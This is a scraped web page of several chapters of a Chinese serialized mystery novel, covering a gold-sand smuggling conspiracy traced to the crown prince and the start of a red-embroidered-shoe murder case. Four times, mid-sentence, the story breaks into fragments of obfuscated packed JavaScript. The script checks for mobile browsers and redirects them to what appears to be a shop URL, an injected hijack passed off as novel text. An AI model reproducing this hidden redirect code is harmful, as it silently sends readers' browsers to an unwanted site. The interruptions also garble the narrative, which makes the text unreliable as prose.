“找郎中!”谢知津喝道。 老头却摆手:“抬出去扔了,省得麻烦。” “你敢!”谢知津怒视他,“这是一条命!” 老头笑了,露出黄黑的牙:“贵人,在这儿,命不值钱。” 谢知津拔剑,剑尖抵住老头咽喉:“现在值钱了?” 老头脸色发白,终于吩咐手下:“去、去请郎中......” 趁乱,张悬将账册和信藏入怀中。她扶着受伤的少年,低声问:“你叫什么?在这儿多久了?” 少年气若游丝:“阿,阿良。我在这三年了......” “矿下还有多少人?” “二、二十多个......都签了死契......” “平常都有何人来此? “朱七爷还有,还有......”少年看向作坊深处,“有个戴面具的先生,每月来一次......” “什么时候来?” “月,月圆夜......” 今天是十三,还有两天。 安置好阿良,谢知津与张悬退出作坊。老头送他们到门口,眼中闪着阴冷的光。 “货会送到府上。”他盯着谢知津,“不过,得加三成。” “为何?” “封口费。”老头咧嘴笑,“二位不是普通买家吧?” 谢知津扔下一锭金:“够吗?” 老头掂了掂,满意地点头。 若谢璋涉案,谢家难逃干系。而她这个大理寺卿,又该如何自处? “先查清真相。”他咬着下唇,“若二叔真有罪,我定会大义灭亲。” 话虽如此,可手却在袖中微微颤抖,谢二叔是除了他父母亲,待他最好的人,当真能舍得下吗? 才出七宝斋,有周府的人便来传话,神色匆匆,满面热泪,“大,大人,我家老爷,死了……” 来报案的是周府官家,周侍郎心腹,进去送茶时发现人已经咽了气,又知晓他们往七宝斋这边来了,便骑马疾驰而来。 仵作郑助验尸的功夫,几人正研究得来的账册。 账册中有一信件,上头署名,‘程’字。 “是程成的笔记?” 谢知津摇摇头,“虽然很像,但笔风不同,不像是程成的。” “程家除了程成还有谁?” 张悬想了想,看向张夜,“程成的父亲程远道,还有个弟弟程远志,曾任工部郎中,十年前病逝。” 十年前张夜也该是个少年,怎的会记得如此详细?谢知津倒有些佩服。 张悬似是觉察到他的神色,笑道,“张夜除了武功不错,还有个过目不忘的本事,所以你也不必惊奇。” “那程远志现在何处?”他问张夜。 “死了啊。”张夜撑着下巴,“前几年死的,当时我还曾去拜过。” 彼时郑助净手,拿着验尸目从停尸堂过来。 “死者是窒息而亡,先是中了打量迷药,后才窒息。至于方法,是最常见的一种,叫贴加官。大人之前让我重新勘验程成的尸体,尸体的确为窒息而亡,左腿微跛,左手六指”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870095|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “等等。”谢知津道,“六指,你确定你没看错?” 郑助不喜欢有人质疑他的验尸术,“大人若不信,可亲自去看。” “怎么了,可是有什么不对的地方?”张悬问。 “程成明明就是五指,若是六指,那极有可能不是他。” 谢知津从旁取来笔墨,将案件线索一一列出。 三十年前,金砂矿发现,张惟上书,私采开始。 矿塌,张惟之子死,张惟被诬,陆文渊窃取其作成名。 三十年来,走私持续,涉及官员众多。 三个月前,张岚发现真相,开始调查。 随后,张岚、王珩、崔谦相继遇害。 陆文渊、周谨被杀。 程成复仇,还有那个戴面具的先生...... “张大人,三十年前矿塌,死者都是怎么死的?” “卷宗记载,多是窒息而亡。” 谢知津又道:“凶手偷偷潜入府中先是下了迷药选择以贴加官的形式杀了周侍郎意义为何,为何不直接下毒或一击毙命给他个痛快。” “当年负责矿场安全的就是就是程远志,矿塌之后,程远志被问责,不久病逝。但如果他没死,如果他认为自己也是受害者......” “他恨所有参与私采的人。”谢知津接着道,“包括他的兄长程远道。所以程成的复仇,可能从一开始就被利用了。他以为自己在为父报仇,实则是别人手中的刀。” “这些也都只是你的猜测,查案讲求的是证据。”张悬泼了他盆凉水。 深夜,明荔被轻微的响动惊醒,原以为是被打道头,出现了幻觉,可声音再度响起。她悄悄起身,从门缝往外看。 院中站着一个人,背对着她,仰头望月。青衫微跛,是程成。 他没有逃,反而主动现身。 明荔推门出去,程成回头,月色下脸色苍白如纸。 “你,你是人是鬼啊……”明荔声音发颤,像是要哭了一般。 “火场中死的不是我。”他声音沙哑。 明荔松了口气,“那,程先生是来自首?” “是来交易。”程成从怀中取出一本册子,“这是三十年来所有涉案官员的名单,包括他们受贿的证据。” 明荔没有接:“条件是什么?” “保我母亲和妹妹平安。”程成苦笑,“她们什么都不知道。” “陆文渊和周谨是你杀的?” 程成摇头又点头:“陆文渊是我杀的,周谨不是。” “那是谁?” “我不知道。”程成眼神迷茫,“那夜我去时,他已经死了。” 程成沉默良久又继续说:“一个戴面具的人,他说能帮我复仇,教了我很多。” “你不知他是谁?” “他从不露真容,声音也做过伪装。”程成顿了顿,“但他好像很熟悉矿上的事。” “我们会保护好你母亲的。”明荔心中有些不安,“接下来你准备做什么?” 等云过月出,程成已不见踪影。石桌上,留下那本名册。 明荔翻开第一页,倒吸一口凉气。 名单上第一个名字是——赵崇。 36. 第 36 章 宁儿往房中送汤药时见明荔醒了是又惊又喜。 “郡主,您终于醒了,您都睡了好久了。”宁儿紧紧抱住她,一门儿流泪。 明荔拍了拍她的背,安慰道,“好了好了,我这不是没事吗。”为了不让她继续伤心,她让宁儿亲自下厨做饭,“我想吃你做的糖醋小排了,你快去做给我尝尝。” 宁儿擦了把泪,扯笑脸的时候嘴角有两个酒窝,“嗯嗯,我这就去。” “程成为何要交出这个?”她不解,将名册收好,又让府上官家去请谢知津来。 若说程成恨这些官员,为何不直接将此事公之于众? 后半夜无人入睡,明荔坐在灯下,将名册内容一一默记。谢知津则调集可靠人手,准备黑石巷的行动。 十五之夜,月如银盘。 黑石巷比平日更安静,甚至是静得诡异。朱七的铺子大门紧闭,门上挂了东主有事,歇业一日木牌。 暗处,谢知津的人已悄然布控。张悬隐在巷口茶馆的二楼雅间,此处从这里可以俯瞰整条巷子,也能看见铺子后院的动静。 子时将近,一道人影出现在巷尾。 他走到铺子后门,三轻两重地叩门。 随后门开了一条缝,那人便闪身而入。 几乎同时,另一方向走来两人。为首者披着黑色斗篷,身形高大。后面跟着个矮胖男子,据那日的少年形容来看,此人应是朱七。 斗篷人在后门停下,朱七上前开门。月光照在那人脸上,谢知津瞧得清楚,那人戴着个金色的面具,只留下了一双眼睛。 “先生来了。”朱七躬身。 面具人微微颔首,踏入院中。 谢知津打了个手势,埋伏的人马已准备收网,那时前院打的火热,没多久后院竟也有打斗声。 张悬欲往,却被张夜拦住:“大人在此等候,我替您去。” 张悬是文官,武力上自是不如他们这些江湖人士的,去了若遇上狠辣之人也只会白白送命。 于是他便只在楼上看着,张夜刚踏出茶馆,就见后院墙头翻出一人,他见过画像,此人正是程成。 他手臂受伤,血流了一路。 “程先生!” 程成看见她,神色急变:“快走!有埋伏。” 话音未落,箭矢破空而来。 程成推开张夜,自己肩头中箭,踉跄倒地。 院门洞开,面具人缓步走出。月光下,青铜面具泛着幽冷的光。 “谢大人。”声音经过伪装,嘶哑难辨,“久仰。” “你是程远志?”谢知津直接问,想证实自己之前的猜测。 面具人低笑:“程远志已经死了。” “那你是谁?” “一个讨债的人。”面具人挥手,朱七带着十几个打手围上来,“大人既然来了,就请留下做客。” 此行带的护卫虽武功都是大理寺数一数二的,不过寡不敌众,已有要败阵之势。 巷子后头,张夜连忙扶起程成,找了个。程成气息急促,抓着她的手腕: “矿洞......他要去矿洞......” “哪里?” “黑石山旧矿洞......”程成接连咳出两口血后,晕了过去。 那边,谢知津险胜,已擒住面具人,挑落他的面具。 面具之下是一张布满疤痕的脸,五官扭曲,几乎看不出本来面目。唯有一双眼睛,锐利如鹰,包藏怨念。 “你究竟是谁?”谢知津剑指其喉。 疤痕脸笑了,笑声凄厉:“我是从地狱爬回来的人。” 他猛地咬破齿间毒囊,黑血从嘴角溢出。 “大人!”衙役急呼。 谢知津捏住他的下颌,但已来不及。毒发极快,转眼气息断绝。 朱七趁乱想逃,被谢知津一脚踹翻。刀架在脖子上,他吓得瘫软如泥。 “说!他是谁?”谢知津厉声问。 “小,小人不知真名,咱们都叫他先生......”朱七涕泪横流,“三年前他找上我,说能重开金砂矿小人只是听命行事啊。” “矿洞在哪?” “黑石山北坡有个废弃的入口。”朱七急需戴罪立功,“我可以带你们去。” 谢知津留下部分人清理现场,亲自押着朱七,带人赶往黑石山。 黑石山在京城西郊,因山石黝黑得名。深夜的山林常有野兽出没,每每夜里都会有哭嚎之声。 朱七指着一处藤蔓密布的山壁:“就、就是这里......” 藤蔓后头有个半人高的洞口,远远望去里面漆黑一片。 谢知津点燃火把,率先进入。张悬,张夜紧随其后,朱七被押在中间。 矿道狭窄潮湿,走了约莫一刻钟,前方出现岔路。 “哪边?”谢知津问。 朱七哆嗦着指向左边。 这条矿道明显经过修缮,墙壁用木板加固,地面也平整许多。 矿洞中央,立着三个新坟。 坟前木牌上,分别写着:张岚、王衍、崔谦。 “这是......”张悬。 他在此间找到一个陶罐,上面刻着张惟的名字。 旁边另一个陶罐刻着:程远志。 程远志真的死在这里。 矿洞深处有一个石室推门进去,里面布置得酷似书房,书案上摊着许多文书。 谢知津翻看那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877584|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文书,越看心越沉。 有张惟当年的治水方案原稿,有陆文渊剽窃时修改的痕迹,有金砂走私的完整账目,还有太子与几位重臣往来的密信。 太子不仅知情,还暗中支持走私,所得钱财用于培植私兵。 “这若是真的......”谢知津不敢想下去。 “未必全真。”张悬一道过来,仔细查验信纸,“但也不全假。” 真真假假,最难分辨。 他将名册收好,眸光深暗:“此事关系重大,在查实之前,不宜外泄。” 谢知津明白他的意思,若消息走漏,无论真假,都会引起朝堂震动。 书的最后一页,有一行小字:“兄张惟,年十六,于洛河勘测时绘。” “兄张惟,张惟的弟弟吗?”谢知津喃喃。 矿洞外传来脚步声,谢知津的人带了位老者入内。 “大人,抓到一个形迹可疑之人,在洞口徘徊。” 押进来的人白发苍苍,已有六七十岁的年纪。 她自称,程老夫人。 虽已年过花甲,鬓发如霜,此刻却神色平静,甚至有些释然。 “他死了,是吗?”她问。 张悬点头。 程老夫人走到程远志的陶罐前,轻轻抚摸:“二哥,你终于可以安息了。” “您早知道?”张悬问。 “三年前他来找我,说自己是远志。”程老夫人苦笑,“可我知道他不是。远志的左耳后有颗红痣,他没有。” “那他是......” “他是张揩,张惟的弟弟。”程老夫人轻声道,“我年轻时见过他几面,记得他的眼神。哪怕脸毁了,眼神不会变。” 所以她配合他演戏,甚至让儿子程成也卷入其中。 “为何?”张悬不解,“为何要帮他?” “因为程家欠张家的。”程老夫人老泪纵横,“当年矿塌,是我夫君程远道贪财,擅自改方案,张家那孩子,本可以活的......” 所以她用余生赎罪,哪怕这罪要儿子来偿。 程成被抬进矿洞时,已气息奄奄。他看见母亲,嘴唇动了动。 程老夫人跪在儿子身边,握着他的手:“儿,娘对不住你......” 程成摇头,看向明荔,用尽最后力气: “名册原册在太子手中。” 说完,气绝身亡。 一个月内,程家父子三人,皆殒命于此案。 众人走出矿洞时,天已微明。 晨曦照在脸上,却感觉不到暖意。 谢知津负手而立,站在张悬身侧:“太子那边......” “查。” 37. 第 37 章 郡主府的管家将程成来府之事告诉了谢知津,连夜他便快马加鞭从矿洞处赶了过来。 入屋中后,明荔来不及交代事情便被他拥入怀中。 “你终于醒了。” 她拍了拍谢知津的背,随后道,“你,你先起来,我有事要和你说。” 谢知津一直不肯松开手,“程成的事我已知晓,不必多说。” “你知晓了?”明荔轻声反问,“你如何得知的。” “你快放开我,你太大力了,我有些喘不过气。” 他这才把手送开,缓缓道歉。 两人靠窗而坐。 “今日我带人清剿七宝斋的时候见了他,可惜人受了重伤已经死了。” “如今案件之重在于,太子。” 两人异口同声的讲出太子的名字。 “我是外臣,非召不得入宫,所以此事还要劳烦你。” 明荔点头答应,打从太后身体康复后,她便也没有再入宫探望,明日便以此为理,也不会惹人生疑,甚好。 “你身体才刚刚恢复,先休息吧,此事明日再论。”谢知津替她关好窗子,随后将床榻铺好,又另从柜子里拿了一床新被褥,“今夜我便睡在此处,你有事便唤我。” 说罢,他便将被褥搁在地上。 窗外传来三更梆子声,明荔想着也是要成亲之人,早晚也会有睡在一处的一天,便也没有多做推辞。 那夜,她睡的很好,一夜无梦,至次日辰时才醒。 宁儿已提前备下给太后的贺礼,另有一份是给赵崇的。 那时谢知津早便起身,在院子里打拳,后来暗卫传来消息,“太子今夜赴宴,丑时方归。” 此乃天助。 太后的身子早便好了,因她没有来拜见,还拈酸吃醋的说了好些话。 “我还以为你是不要我这个老太婆了。” 太后靠在引枕上,明荔接替女官的位置给她捏肩,“哪儿能呢,明儿只是最近有些忙,这不一抽开身便来了。” “表哥呢,怎么不见他。” 太后抚着她的手,笑道,“今日齐小王爷生辰,他去赴宴了,不在宫中。” “你和他啊,也是本是天作之合,哪知道半路杀出个谢知津。”太后摇摇头,叹了口气,“你都不知道那日他带着圣旨来求娶时,崇儿的脸色,有多难看。” “圣旨,什么圣旨。” 太后惊讶的转头,“你不知道的?他啊,拿着先帝许给他家的空白圣旨,来求个恩典,皇帝也没法子当时便许了。” “我只是没想到,当年你那么对他,他竟然还要娶你,真是……” 明荔伏在太后肩头,低笑,“我知道您想说什么,他是个很好的人,待我自然也是极好的,所以您大可放心。” 太后摸了摸她的小脸蛋,“只要她待你好,我老婆子也是死而无憾了。” “呸呸呸。” “您这说的都是什么?” “若您下次再说这话,那我便以为是我之故让您伤心了,往后我可就不来了。” 娘俩的头靠在一起,安慰着,“好,我不说便是了。” “我给您带的礼物都让姑姑放起来了,好吃的好玩的都有,我还给太子哥哥也带了呢,等会儿我亲自给他送去。” 太后宠溺的刮着她的鼻尖,“行了,别腻这儿了,今儿我让厨房备的都是你爱吃的,走咱们去尝尝,看看他们的手艺还合不合你胃口。” 祖孙俩说笑着,往饭厅去。 / 她是申时整来的太子东宫书房,守卫的人皆是太子亲卫,因赵崇有令,任何人不得入内,守卫便也不敢放她进去。 明荔拿出了做郡主的款儿,抬眼示意宁儿。 ‘啪。’ 一个耳光下去,周围守卫都抱拳行礼。 “你眼睛是瞎的吗,看不见郡主在这还敢拦着。” 宁儿怒气冲冲的大喊。 “不是属下不放人,实在是太子有令。” 守卫始终不敢抬头。 “我堂堂郡主,你是要我和你们这帮腌臜之人同处一院吗?” 守卫们互相瞧瞧,不敢说话。 “奴才们不敢。” 明荔继续说道,“放心若是太子哥哥回来了真迁怒于你们我也是会给你们求情的,今儿是我非要进去,同你们无关。” 她踏出一小步,试探他们的态度,见众人没反应,才大步直入。 东宫书房的门并未落锁,明荔指尖轻轻一推,便听得“吱呀”一声轻响,门扉缓缓敞开。 屋内窗棂半掩,檀香混着墨香扑面而来,案几上还摊着一卷未写完的奏折,狼毫笔悬在笔架上,笔尖的墨汁凝了半分。 赵崇此人心思极重,尤为要紧的东西定会放在暗处,所以明荔一入内便开始寻找机关暗道。 目光扫过书案,停在一方青玉镇纸上。 镇纸雕成瑞兽状,兽眼嵌着墨玉。瑞兽的右眼看上去要比左眼光滑的多。 而且她曾在古书上看过这机关,原以为赵崇不会蠢到如此地步,不会加以更改, 但用力一按,咔哒轻响。 地砖弹起半寸。 明荔小心掀开砖块,下面是个铁盒。盒中赫然躺着三本名册,怕受潮,特用牛皮纸包着。 她快速翻阅,金砂册记录走私明细,银钱册记载赃款去向,人事册则列着涉案官员。 本想誊抄一份,但外头传来守卫的声音,她登时便慌了神。 “殿下不是赴宴么?怎的提前回了?” “身子不适,先回来了。” 冷汗瞬间浸透背脊,她迅速关好暗格,将镇纸复位,坐到圆桌旁梨花木椅上。 门开了,赵崇见她在便挤出笑来,“你怎么来了,我还想着过几日亲自接你进宫呢。” 看他面色微白,确实像不适。他身后跟着个内侍,正是名册上提到的刘福。 “殿下,药煎好了。”刘福奉上药碗。 赵崇接过,却不喝,在书案前坐下:“这是给我带的礼物吗?” “知道你喜欢笔墨这些东西,所以特买了上好的给你,你用用看还趁手吗?” 赵崇将笔洗放回盒子中,“你送的都好。” “行了东送到了我便走了,还要去拜别太后,不可多留。” “我让人送你。” 明荔拒绝,“不必了,我看你脸色不大好,平日要注意休息,不要太过操劳了。” 赵崇点头。 待明荔走后,赵崇道,“今日外头可有什么异常之处。” “一切如常。”刘福垂首,“只是谢大人的人,好像在查黑石巷。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894600|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵崇的手一顿:“谢知津?” “是。还有郡主。” 赵崇放下药碗,手指轻叩桌面。烛光下,他眉眼温润依旧,“我说她今日怎么肯登我东宫的门,原来……” “他们查到哪一步了?” “似乎知道金砂的事。”刘福声音更低,“朱七被抓了。” “废物。” 刘福噗通跪地。 “奴才该死!奴才已经......” “罢了。”赵崇抬手,“让他们查。有些事,也该了结了。” “那几本册子......”赵崇转动墨玉珠, “烧了吧。” 刘福一愣:“殿下?” “留着总是祸患。”赵崇转身,“现在就烧。” “可里头还有各位大人的......” “正是因此,才要烧。”赵崇声音渐冷,“什么都没有,才最安全。” “烧光以后,咱们再去找父皇请罪。” “殿下,您是要。” 皇帝生性多疑,就算赵崇将此事都推脱到别人身上,皇帝也能猜到此事同他有关,不过是碍着皇后母族的面子不发作罢了。 刘福不敢再多言,躬身退出书房,不多时,便捧着一个铜盆回来,盆底已铺了一层细灰。他小心翼翼地从暗格中取出那三本用牛皮纸包裹的名册,置于铜盆之内。 赵崇坐在案后,手中缓缓捻动着一串墨玉珠,眼神落在跳跃的火苗上,平静无波。 火折子点燃了牛皮纸的一角,红色的火焰迅速蔓延,吞噬着纸张,迅速化为灰烬。 “处理干净。”赵崇淡淡道。 “是。”刘福端起铜盆,悄无声息地退下。 屋中赵崇独自坐了片刻,目光扫过方才明荔坐过的梨花木椅,又掠过那方青玉镇纸,嘴角浮起一丝极淡的笑意。 “查吧,”他低语,似是说给自己听,“看看是你们查得快,还是我断得快。” 明荔几乎是强作镇定地离开了东宫,直到坐上回府的马车,紧绷的脊背才稍稍弯下来。 回到郡主府,谢知津已在前厅等候。见她面色不佳,他立刻屏退左右,上前握住她微凉的手:“如何?可有收获?” 明荔摇摇头,将书房内的情形低声快速说了一遍,“他恐怕已有警觉,那镇纸机关我虽复位,但不知他是否会察觉有人动过。名册未得,反而可能打草惊蛇。” 谢知津听罢,眼神沉凝:“无妨。你平安归来便是最重要。赵崇既有警觉,转移证据是必然。但他经营多年,牵连甚广,仓促之间不可能将所有痕迹抹除干净。朱七虽死,七宝斋被剿,顺着这条线,总能扯出些东西。黑石巷那边,也有了新的发现。” “什么发现?” “我们在黑石巷一处看废弃的民宅地下,发现了尚未运走的金砂,数量不多,但足以作为实证。更重要的是,看守那处的一个小头目,被捕时企图服毒自尽,被我们的人拦下,如今正被严密看守。此人胆小,或许是个突破口。”谢知津眼中闪过锐光,“赵崇想断尾求生,我们就偏要把他扯出来的尾巴,一根根钉死。” 明荔心下稍安,但仍有忧虑:“太子在宫中经营日久,耳目众多,父皇又向来偏宠他。若无铁证,恐怕难以撼动。” “大人。”莫以新急忙进来,“陛下传您入宫。” 38. 红绣鞋 “臣谢知津,参见陛下。” 龙椅上坐着的人没抬眼,只叫他平身,“太子,你来说说最近青麓书院的案子吧。” “回父皇,此事说来话长,经儿臣查证,多年前张惟发现了矿脉想据为己有,但被程氏发现,两厢残杀,张惟之子张岚发觉此事,想替父报仇,而陆山长不想当年之事浮出水面有损民生,这才至惨案发生。” 他暗中观察着陛下的脸色,“如今陆山长和程成均已死,此案可结。” “不可!”谢知津再次做一礼,“此案真凶尚未查明且牵扯甚多,怎可随意结案。” 皇帝端坐,一言不发,只冷淡的瞥着底下站着的。 张悬站在最末,只想置身事外。 见皇帝起身,众人又把身子伏低了不少,“张悬,你觉得此案该如何?” “臣觉得,太子说的有理,此案当结。” 皇帝意味不明的笑笑,拍了拍谢知津的肩膀,众人似乎都吊了口气,“那便结案吧。” “陛下!” 谢知津跪在地上,“不可啊陛下!” “结案!” 皇帝摆了摆手,离开了大殿。 殿内烛火摇曳,将谢知津跪在地上的身影拉得颀长而孤绝。 太子赵崇居高临下地睨着他,嘴角勾起一抹凉薄的笑:“谢大人,何必如此执拗?父皇金口玉言,此案已是定局。” 谢知津脊背挺得笔直,他甚至没有抬眼去看太子,“太子殿下眼中的定局,是用两条人命和一桩陈年秘辛换来的。矿脉之事牵连甚广,若不彻查,日后必会祸及百姓。” 站在末位的张悬指尖微微一颤,垂着头,将脸埋在朝服的阴影里,仿佛殿中这剑拔弩张的一切都与他无关。 “祸及百姓?”赵崇嗤笑出声,缓步走到谢知津面前,弯腰,用只有两人能听到的声音低语,“谢知津,你当真以为,父皇不知道矿脉背后的猫腻?有些事,糊涂比清楚好。” 话音落下,他直起身,拂了拂衣袖上并不存在的灰尘,朗声道:“来人,送谢大人回府歇息。” 两名内侍应声上前,欲搀扶谢知津。 “不必。” 临走前,他还剜了眼赵崇,只觉其懦弱无能。 派去黑石巷附近的衙役去时,那民宅已起了大火将那一片区域烧的连灰都没剩,打宫里出来的谢知津得知此事后最后希望也磨灭的灰都不剩。 午间用饭的时候,陛下身边的李公公过来宣读了圣旨。 大概的意思就是说让她们于下月将婚事办妥,至于原因,一多半都是想用明荔牵制住谢知津,若在牵扯其中,便要用些非常手段了。 他颓然坐在圈椅上,按着眉骨,头脑发昏。 忽地,太阳穴处略微舒展,明荔正为他按摩。 “此案这样结了便罢了,以陛下的为人能如此轻易放过咱们已是万幸,若再深究下去你我家人性命恐也不保,既无能为力便听天由命。” / 才过八月,金明池畔的垂柳便褪尽了残绿,在暮色里披上枯黄。 酉时时刚过,暮鼓沉沉敲过三遍,酒旗在晚风中舒卷,将香饮子,炙羊肉的吆喝声送进深巷。 林怀州提着些羊肉匆匆赶到大理寺,前些日子春鸢姑娘病着他一直近身照顾,不过一直不见好,两人便准备待谢知津大婚后动身前往江南求医,今日原本只是来相告,可没想到竟遇上了命案。 自七日前第一名女子死在甜水巷,这已是第三起了。前两桩案子,开封府查了又查,最后只抓了个偷香窃玉的泼皮顶罪。 那泼皮的家人来开封府闹,寻死觅活的,那边兜不住才想着把案子交给大理寺。 来时听开封府的仵作说过此事,仓惶之下,两人只记得有人给死者穿上了一双不合脚的红绣鞋。 她拐进保康门街,远远便瞧见一处宅邸门前灯火通明。七八个衙差举着松明火把,将朱漆大门照得发亮,门楣上悬着陈府匾额,是户部陈侍郎的宅子。 “站住!开封府办案,闲人退避!”一个年轻衙役横过水火棍。 明荔从怀中取出腰牌:“大理寺,明荔。” 那衙役愣了愣,借着火光细看腰牌,又打量她素色褙子,青布襦裙,鬓间只簪一支木簪。瞧着不过双十年华,眉眼清冷,手里提着个乌木箱子。 “女,女仵作?”衙役声音里透着诧异。 门内传来急促的脚步声。一个身着深绿色官袍的中年男子疾步而出,正是开封府推官周显。他见了明荔,眉头先是一皱,随即又舒展开:“明姑娘来得正好,咱们大人已在内院等候多时。” 开封府的府尹名叫相齐,早早地就来了院中。 这位新任府尹上任不过三月,便以雷霆手段办了三桩积案,如今圣眷正隆。 “死者是官眷?”她问。 周显压低声音:“陈侍郎新纳的如夫人,姓柳,原是个唱琵琶的。半个时辰前丫鬟送莲子羹,才发现人没了。”他顿了顿,补上一句,“脚上,也穿着一双红绣鞋。” 明荔的心沉了下去。 / 陈府内院种满了桂花,这个时节正开得疯。甜腻的香气混在夜风里,却压不住那股子若有若无的腥气。东厢房外廊下站着五六个女眷,个个以帕掩面,有低泣声断续传来。 房门敞着,里面烛火通明。 明荔刚跨过门槛,便见一道身影立在屏风前。 那人穿着深青色襕袍,腰束金带,身量颀长挺拔。烛光在他侧脸投下深深浅浅的影,衬得鼻梁格外高挺。他正俯身察看地上某处,听得脚步声,缓缓直起身来。 “见过相府尹。”明荔垂首行礼。 “见过郡主。”相齐还礼,“谢大人。” 他约莫二十七八年纪,眉目疏朗,一双眸子在烛火下似深潭静水,看不出情绪。目光落在明荔脸上时,停留了一瞬。 “死者颈间索沟呈马蹄形,上缘有皮下出血,系生前悬吊;但舌未伸出,颜面未紫绀,疑是先遭扼颈致昏,后伪装自缢。这是仵作验尸所得。” 谢知津走近两步,“那泼皮王五已招认,是他潜入宅中意图不轨,被发现后杀人灭口。可为何王五的家人却又大闹开封府?” 廊下的啜泣声不知何时停了,周显站在门外,额角渗出细汗。 明荔迎上谢知津的目光:“王五招认的是扼杀。但死者颈上除扼痕外,确有悬吊痕迹。若真是扼杀致死,何必多此一举?况且前日堂审时,王五连死者穿什么衣裳都说不清,这不合常理。” “所以你认为,真凶另有其人。这三桩案子,是连环凶案。”相齐问道。 明荔默然片刻,点了点头。 谢知津侧身让开:“好了,时间不早了,早些验尸吧。” 谢知津打断他们说话。 尸身停在厢房内间的绣榻上。 是个极年轻的女子,约莫十八九岁,面容姣好,唇上还点着未卸的胭脂。她穿着一身水红寝衣,头发散在枕上,在夜色里有些骇人。 那是一双正红色的绣花鞋,鞋尖微微上翘,绣着缠枝并蒂莲。和死者之前的死者,柳雪穿的很像。 但明荔的目光,先落在了女子的脖颈上。 一道紫红色的索沟,斜向耳后,在颈后中断典型的上吊痕迹。但如她之前推断的,颜面并未呈现窒息死者常见的青紫肿胀,口鼻也无沫子。 她打开验尸箱,取出素布手套戴上。 “索沟边缘有轻微出血,”她低声自语,“确实是生前形成的。但……” 她俯身凑近,几乎将鼻尖贴到皮肤上。片刻后,直起身:“谢大人,请借烛火一用。” 谢知津亲自持烛过来。 明荔指着索沟下缘一道极淡的淤痕:“看这里。索沟是麻绳造成的,麻绳粗糙,会留下摩擦痕迹。但这一小段淤痕边缘光滑,宽度也与成人手指相仿。”她抬眼,“是扼痕。凶手先扼颈致其昏迷,再悬吊伪装自缢。” 谢知津凝目细看,烛火在他眸中跳动:“为何不直接扼死?” “因为要留出时间。”明荔转向那双红绣鞋,“大人还记得柳雪娘子吗?” 她轻轻托起死者的右脚。鞋很紧,几乎是硬塞进去的。褪下来时,很吃力。 一只白皙的脚露出来。 脚掌正常,并未缠裹。 “又是这样。”相齐喃喃。 “什么?”谢知津问。 “前两名死者,也都没有缠足。”相齐将鞋举到烛光下,“凶手特意选了比死者脚小的鞋,强行穿上。”她翻转鞋底,“而且,鞋是新的。” 鞋底洁白,纳得密密实实,针脚极细。但细看之下,能看出边缘有极轻微的磨损不是穿出来的,更像是被什么硬物撑过。 明荔从箱中取出一柄银质小镊,轻轻探入鞋内夹层。镊尖触到什么东西,她屏住呼吸,小心翼翼夹出。 一片泛黄的纸。 约莫两寸见方,边缘裁剪整齐。纸上写着娟秀的小楷: “卑弱第一: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话音刚落,前厅方向传来瓷器碎裂的脆响,夹杂着一个男人暴怒的吼声。 谢知津走到窗边,推开一条缝。院中桂花树下,一个身着绯色官袍的中年男子正指着周显斥骂,正是户部侍郎陈禹。他身后还站着个华服妇人,应是正室夫人。 “陈侍郎。”谢知津推门而出,声音不高,却让院中骤然一静。 陈禹转过身,脸上怒容未消:“谢寺卿!这是本官府邸,不是公堂!你们这般兴师动众,是要让我陈家成为京州笑柄吗?!” “查案缉凶,是本官职责。”谢知津缓步走下台阶,“陈侍郎若想早日水落石出,还尊夫人清白,便该配合才是。” “配合?我如何配合?!”陈禹指着厢房,“人都死了,还要被人翻来检去,成何体统!” 这话是针对明荔的。 谢知津看了她一眼,转回目光时,语气沉了三分:“陈侍郎,令妹三年前在江宁病逝,当时江宁府上报的是急症暴毙。但本官翻看卷宗时发现,验尸格目里写着颈有痕,疑非自然死可有此事?” 陈禹脸色骤变。 “你……你怎知……” “本官既掌大理寺,天下刑案卷宗,自然都要过目。”谢知津走近两步,压低声音,“令妹的死,当年草草结案。陈侍郎若是真想为女子讨个公道,便不该在此阻挠查案之人。” 夜风穿过庭院,卷起几片桂花,簌簌落在青石板上。 陈禹张了张嘴,最终颓然侧身:“……查吧。但今夜必须查完。” “自然。”谢知津看向明荔,“继续。” 褪去寝衣后,更多的痕迹显露出来。除了小腿的瘀伤,腰侧,背部都有不同程度的青紫。 最新的伤在腰后,一片暗红色,应该是死前一两天内造成的。 “生前长期遭受虐待。”明荔记录着,“但这些伤都不致命。致命的是颈部的扼痕和悬吊。” 她最后检查了那双红绣鞋。 